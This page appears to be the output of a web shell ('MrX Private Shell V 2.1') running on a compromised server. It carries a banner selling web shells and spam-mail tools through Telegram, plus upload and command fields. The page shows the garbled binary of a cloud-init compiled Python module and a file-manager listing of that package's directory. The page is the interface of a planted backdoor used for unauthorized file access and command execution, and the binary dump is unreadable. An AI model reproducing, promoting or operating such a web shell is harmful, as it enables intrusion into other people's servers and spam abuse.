__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

x[h�-�
��%SrSSKrSSKrSSKrSSKrSSKrSSKJrJrJ	r	 SSK
Jr SSKJ
r
 SSKJr SSKJrJr SSKJr SS	KJr S
\/\S/S.r\\S
'SSS00SS/SS.rSS/S.SS/S.SS/S.S.r\R6"\5rS\4SjrS*SjrS+Sjr S\!S\S\!4Sjr"S r#S,S!jr$"S"S#5r%S-S$jr&S%\SS4S&jr'S'\(S\
S%\S(\)SS4
S)jr*g).z-Rsyslog: Configure system logging via rsyslog�N)�	lifecycle�subp�util)�Cloud)�Config)�
MetaSchema)�ALL_DISTROS�Distro)�loggers)�PER_INSTANCE�
cc_rsyslog�rsyslog)�id�distros�	frequency�activate_by_schema_keys�metaz/etc/rsyslog.dz20-cloud-config.conf�auto�rsyslogdF)�
config_dir�config_filename�service_reload_command�remotes�configs�	check_exe�packages�install_rsyslogz/usr/local/etc/rsyslog.d)rrzsysutils/rsyslogz/usr/pkg/etc/rsyslog.d)�freebsd�openbsd�netbsd�distroc��[n[R"[5nURU;a#[R
"X!UR/SS9nU$)z�Construct a distro-specific rsyslog config dictionary by merging
   distro specific changes into base config.

@param distro: String providing the distro class name.
@returns: Dict of distro configurations for ntp clients.
T)�reverse)�DISTRO_OVERRIDES�copy�RSYSLOG_CONFIG�osfamilyr�
mergemanydict�name)r!�dcfg�cfgs   �=/usr/lib/python3/dist-packages/cloudinit/config/cc_rsyslog.py�distro_default_rsyslog_configr-?sF���D�
�)�)�N�
#�C�
���$��� � �#�F�K�K�'8�!9�4�H���J�c�X�[R"U5(agUcS/nU"U5 g)aQInstall rsyslog package if not already installed.

@param install_func: function.  This parameter is invoked with the contents
of the packages parameter.
@param packages: list.  This parameter defaults to ['rsyslog'].
@param check_exe: string.  The name of a binary that indicates the package
the specified package is already installed.
Nr)r�which)�install_funcrrs   r,rrMs+���z�z�)�������;����r.c��US:Xa$URSS5nURSU5$[R"USS9$)Nr�rsyslog_svcnamerz
try-reloadT)�capture)�
get_option�manage_servicer)r!�command�services   r,�
reload_syslogr9^sA���&���#�#�$5�y�A���$�$�\�7�;�;��9�9�W�d�+�+r.r+�returnc�\�URS05n[U5n[URS5[5(aD[R
"SSS9 SURS50nSU;aUSUS'SU;aUSUS	'S/[4S	US	[4SUS[4S
US
[4SUS[[44SUS[4S
US
[4SUS[44nUHCupVnXR;aXbU'M[X%U5(aM&[SUSUS[X%535e U$)z�Return an updated config.

Support converting the old top level format into new format.
Raise a `ValueError` if some top level entry has an incorrect type.
rz)The rsyslog key with value of type 'list'z22.2)�
deprecated�deprecated_versionr�rsyslog_filenamer�rsyslog_dirrrrrrrzInvalid type for key `z`. Expected type(s): z. Current type: )�getr-�
isinstance�listr�	deprecate�str�dict�bool�
ValueError�type)r+r!�mycfg�
distro_config�fillup�key�default�vtypess        r,�load_configrOes}��
�G�G�I�r�"�E�1�&�9�M��#�'�'�)�$�d�+�+����B�%�	
��C�G�G�I�.�/����$�'*�+=�'>�E�#�$��C��"%�m�"4�E�,��
�B���	�}�\�2�C�8�	�M�*;�<�c�B�	�M�)�,�d�3�$��2�3�
�$�K�	
�

�m�K�0�#�6�	�]�:�.��5�	�M�*;�<�d�C�
�F�!'���f��� �#�J��E�J��/�/��(���-B�6�(�K!�!%�e�j�!1� 2�4��
�	!'��Lr.c�n�/n[U5H�upE[U[5(a9SU;a[R	SUS-5 M;USnURSU5nOUnUnUR
5nU(d[R	SUS-5 M�[RRX'5nSnXs;aSnURU5 Sn	URS	5(dS	n	[R"XvU	-US
9 M� U$![a! [R"[SU5 GM%f=f)N�contentz%No 'content' entry in config entry %s��filenamezEntry %s has an empty filename�ab�wb��
)�omodezFailed to write to %s)�	enumeraterArE�LOG�warningr@�strip�os�path�join�append�endswithr�
write_file�	Exception�logexc)
r�	def_fname�cfg_dir�files�cur_pos�entrQrSrX�endls
          r,�apply_rsyslog_changesrk�s#��
�E�!�'�*����c�4� � ���#����;�W�q�[����)�n�G��w�w�z�9�5�H��G� �H��>�>�#����K�K�8�'�A�+�F���7�7�<�<��2����� ��E��L�L��"�	@��D��#�#�D�)�)����O�O�H��n�E�B�=+�D�L���	@��K�K��4�h�?�?�	@�s�2D	�	&D4�3D4c���[R"SU5up#UR5nUR5R5nSn[	U5S:XaUnO"[	U5S:XaUupVO[SU-5e[R
"SU5nU(d[SU-5eUR
S5nUR
S5=(d UR
S	5nUR
S
5n	URS5(a$URS5(d[S
U-5eU(a	U(dUn[XXxU	S9n
U
R5 U
$![a USp2GNBf=f)Nz[ ]*[#]+[ ]*rR�zline had multiple spaces: %sz_^(?P<proto>[@]{0,2})(([\[](?P<bracket_addr>[^\]]*)[\]])|(?P<addr>[^:]*))([:](?P<port>[0-9]+))?$zInvalid host specification '%s'�proto�addr�bracket_addr�port�[�]z"host spec had invalid brackets: %s�r)�matchrnrorq)�re�splitr\rG�lenru�group�
startswithra�SyslogRemotesLine�validate)�liner)�data�comment�toksru�	host_portrnrorq�ts           r,�parse_remotes_liner��sM��%�����$�7�
���-�-�/���:�:�<����D��E�
�4�y�A�~��	�	�T��a�����y��7�$�>�?�?�
�8�8�	#�	�	�D���:�Y�F�G�G��J�J�w��E��:�:�f��;����N�!;�D��:�:�f��D����s���D�M�M�#�$6�$6��=��D�E�E��t����
�e�T�	�A��J�J�L��H��I�%��t�g�%�s�)E�
E.�-E.c�2�\rSrSrSSjrSrSrSrSrg)	r{��Nc��U(dSnXlX lU(dSnUS:XaSnOUS:XaSnX0lX@lUb[	U5UlgSUlg)Nz*.*�udp�@�@@�tcp)r)rurnro�intrq)�selfr)rurnrorqs      r,�__init__�SyslogRemotesLine.__init__�sV����E��	��
���E��C�<��E�
�d�]��E��
��	�!%�!1�C��I��	�t��	r.c���UR(a[UR5 UR(d[S5eg![an[SUR-5UeSnAff=f)Nzport '%s' is not an integerzaddress is required)rqr�rGro)r��es  r,r|�SyslogRemotesLine.validate�sa���9�9�
��D�I�I���y�y��2�3�3����
� �1�D�I�I�=�����
�s�A�
A-�A(�(A-c��SUR<SUR<SUR<SUR<SUR<S3$)Nz[name=z match=z proto=z	 address=z port=rsrt)r�s r,�__repr__�SyslogRemotesLine.__repr__s/���I�I��J�J��J�J��I�I��I�I�
�	
r.c�n�URS-nURS:XaUS-
nOURS:XaUS-
nSUR;aUSUR-S--
nOXR-
nUR(aUS	UR--
nUR(aUS
UR--
nU$)N� r�r�r�r��:rrrsz:%sz # %s)rurnrorqr))r��bufs  r,�__str__�SyslogRemotesLine.__str__s����j�j�3����:�:����3�J�C�
�Z�Z�5�
 ��4�K�C��$�)�)���3����?�S�(�(�C��9�9��C��9�9��5�4�9�9�$�$�C��9�9��7�T�Y�Y�&�&�C��
r.)rorur)rqrn)NNNNN)	�__name__�
__module__�__qualname__�__firstlineno__r�r|r�r��__static_attributes__�r.r,r{r{�s��AE�<�$
4�
�r.r{c
�t�U(dg/nUbURU5 UR5H0upEU(dMUR[[XTS955 M2 UbURU5 SRU5S-$![a"n[
R
SXEU5 SnAM�SnAff=f)N)r)z!failed loading remote %s: %s [%s]rW)r`�itemsrDr�rGrZr[r_)r�header�footer�linesr)r}r�s       r,�remotes_to_rsyslog_cfgr�$s������E�
��
���V���m�m�o�
����	L��L�L��/��@�A�B�	&���
���V���9�9�U��d�"�"��	�	L��K�K�;�T��K�K��	L�s�!B�
B7�B2�2B7�cloudc��URRSS5 URRSS5 URR	5 [
R"[R5 URRSS5 [RS5 SSS5 g![Ra gf=f!,(df   g=f)z�
This helper function bundles the necessary steps to disable BSD base syslog
``rc(8)`` reads its configuration on start, so after disabling syslogd, we
need to tell rc to reload its config
�enabled�syslogdN�disable�onestopzOsyslogd is running before cloud-init! Please report this as bug to the porters!)	r!r6r�ProcessExecutionError�reload_init�
contextlib�suppressrZ�error)r�s r,� disable_and_stop_bsd_base_syslogr�6s����
���#�#�I�y�9�
�L�L���	�9�5�	�L�L����	�	�	�T�7�7�	8�	���#�#�I�y�9��	�	�
8�	
�
9�	8���%�%�����

9�	8�s�B3�82C
�3C
�	C
�
Cr)�argsc���SU;a[RSU5 g[XR5nUSnUS(aUR	[USSSS95 URR
SS5nUS	S
La%[URRUSUSS
9 [R"5(a'URRSU5 [U5 US(d[RS5 g[USUSUSS9nU(d[RS5 g[URUSS9nU(aL[&R("5 [&R*"UR,5 [RSX5 gg![R a+n	Sn[R#S[%U	55 Sn	A	N�Sn	A	ff=f)Nrz;Skipping module named %s, no 'rsyslog' key in configurationrrz# begin remotesz
# end remotes)r�r�r3rTrr)rr�enablez.Empty config rsyslog['configs'], nothing to dorr)rrerfz0restart of syslog not necessary, no changes mader)r7FzFailed to reload syslog %sz%s configured %s files)rZ�debugrOr!r`r�r5r�install_packagesr�is_BSDr6r�rkr9rr�r[rDr�
reset_logging�
setup_loggingr+)
r)r+r�r�rIrr8�changes�	restartedr�s
          r,�handler�Ns�������	�	�I�4�	
�	���\�\�*�E��I��G��Y�����"��i� �(�&�
�	
��l�l�%�%�&7��C�G��
��4�'���L�L�)�)��:�&��K�(�	
��{�{�}�}�
���#�#�H�g�6�(��/�����	�	�B�C��#��i� ��)�*��l�#��G���	�	�D�E��:�!��L�L�%�(@�"A�
�	��	�������e�i�i�(�	�	�	�*�D�:���	�%�%�:��	����0�#�a�&�9�9��:�s�;F&�&G%�:!G � G%)Nr)r)N)NN)+�__doc__r�r%�loggingr]rv�	cloudinitrrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.distrosr	r
�
cloudinit.logr�cloudinit.settingsrr�__annotations__r&r$�	getLoggerr�rZr-rr9rErOrkr�r{r�r�rDrBr�r�r.r,�<module>r�sE��4����	�	�+�+�!�#�.�1�!�+���}�� )�{�	��j��#�-�$�������	��1��K��
1�'�(��
/�'�(��
������!���&���",�,�T�,�6�,�d�,�^&�R(
�V9�9�x#�$
�E�
�d�
�0=;��=;�6�=;�%�=;�t�=;��=;r.

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 208 B 0644
cc_ansible.cpython-313.pyc File 13.56 KB 0644
cc_apk_configure.cpython-313.pyc File 4.24 KB 0644
cc_apt_configure.cpython-313.pyc File 40.51 KB 0644
cc_apt_pipelining.cpython-313.pyc File 2.22 KB 0644
cc_bootcmd.cpython-313.pyc File 2.49 KB 0644
cc_byobu.cpython-313.pyc File 3.22 KB 0644
cc_ca_certs.cpython-313.pyc File 8.43 KB 0644
cc_chef.cpython-313.pyc File 13.83 KB 0644
cc_disable_ec2_metadata.cpython-313.pyc File 1.87 KB 0644
cc_disk_setup.cpython-313.pyc File 32.24 KB 0644
cc_fan.cpython-313.pyc File 2.97 KB 0644
cc_final_message.cpython-313.pyc File 3.59 KB 0644
cc_growpart.cpython-313.pyc File 23.64 KB 0644
cc_grub_dpkg.cpython-313.pyc File 5.97 KB 0644
cc_install_hotplug.cpython-313.pyc File 4.07 KB 0644
cc_keyboard.cpython-313.pyc File 1.86 KB 0644
cc_keys_to_console.cpython-313.pyc File 2.88 KB 0644
cc_landscape.cpython-313.pyc File 3.69 KB 0644
cc_locale.cpython-313.pyc File 1.57 KB 0644
cc_lxd.cpython-313.pyc File 15.8 KB 0644
cc_mcollective.cpython-313.pyc File 3.75 KB 0644
cc_mounts.cpython-313.pyc File 22.29 KB 0644
cc_ntp.cpython-313.pyc File 16.82 KB 0644
cc_package_update_upgrade_install.cpython-313.pyc File 5.19 KB 0644
cc_phone_home.cpython-313.pyc File 3.93 KB 0644
cc_power_state_change.cpython-313.pyc File 8.38 KB 0644
cc_puppet.cpython-313.pyc File 10.86 KB 0644
cc_reset_rmc.cpython-313.pyc File 5.26 KB 0644
cc_resizefs.cpython-313.pyc File 11.22 KB 0644
cc_resolv_conf.cpython-313.pyc File 3.49 KB 0644
cc_rh_subscription.cpython-313.pyc File 18.68 KB 0644
cc_rsyslog.cpython-313.pyc File 13.95 KB 0644
cc_runcmd.cpython-313.pyc File 1.77 KB 0644
cc_salt_minion.cpython-313.pyc File 4.9 KB 0644
cc_scripts_per_boot.cpython-313.pyc File 1.5 KB 0644
cc_scripts_per_instance.cpython-313.pyc File 1.51 KB 0644
cc_scripts_per_once.cpython-313.pyc File 1.49 KB 0644
cc_scripts_user.cpython-313.pyc File 1.47 KB 0644
cc_scripts_vendor.cpython-313.pyc File 1.63 KB 0644
cc_seed_random.cpython-313.pyc File 3.92 KB 0644
cc_set_hostname.cpython-313.pyc File 3.85 KB 0644
cc_set_passwords.cpython-313.pyc File 10.9 KB 0644
cc_snap.cpython-313.pyc File 4.79 KB 0644
cc_spacewalk.cpython-313.pyc File 3.37 KB 0644
cc_ssh.cpython-313.pyc File 11.57 KB 0644
cc_ssh_authkey_fingerprints.cpython-313.pyc File 5.25 KB 0644
cc_ssh_import_id.cpython-313.pyc File 5.2 KB 0644
cc_timezone.cpython-313.pyc File 1.35 KB 0644
cc_ubuntu_autoinstall.cpython-313.pyc File 1.81 KB 0644
cc_ubuntu_drivers.cpython-313.pyc File 5.34 KB 0644
cc_ubuntu_pro.cpython-313.pyc File 15.12 KB 0644
cc_update_etc_hosts.cpython-313.pyc File 2.77 KB 0644
cc_update_hostname.cpython-313.pyc File 2.49 KB 0644
cc_users_groups.cpython-313.pyc File 3.1 KB 0644
cc_wireguard.cpython-313.pyc File 9.03 KB 0644
cc_write_files.cpython-313.pyc File 6.27 KB 0644
cc_write_files_deferred.cpython-313.pyc File 1.82 KB 0644
cc_yum_add_repo.cpython-313.pyc File 5.27 KB 0644
cc_zypper_add_repo.cpython-313.pyc File 6.28 KB 0644
modules.cpython-313.pyc File 13.12 KB 0644
schema.cpython-313.pyc File 54.5 KB 0644
Filemanager